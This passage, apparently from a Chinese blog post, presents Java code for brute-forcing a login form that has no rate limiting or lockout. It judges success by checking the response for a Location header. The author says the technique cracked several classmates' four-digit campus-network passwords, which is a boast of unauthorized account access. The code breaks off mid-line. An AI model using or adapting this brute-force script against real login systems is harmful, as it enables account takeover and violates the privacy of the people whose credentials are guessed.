注:以下破解思路及代码源自我同学木子
1、先来看一个无任何安全措施的登录系统的破解方法:每次模拟表单提交,若登录成功,此时返回的报头信息中有Location字段,登录失败无此字段,继续模拟登录。直到破解成功,本人成功破解部分同学校园网登录密码(纯四位数字的)代码如下:
package demo.net;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import mine.util.io.TextFile;
//暴力法破解简单登录系统:该系统无任何安全措施
public class PostTest {
String urlString = "登录页面的url";
public PostTest() {
}
public PostTest(String urlString) {
this.urlString = urlString;
}
// 提交一次用户请求
private boolean doPost(String user, String password) {
boolean sucess = false;
try {
URL realUrl = new URL(urlString);
HttpURLConnection conn = (HttpURLConnection) real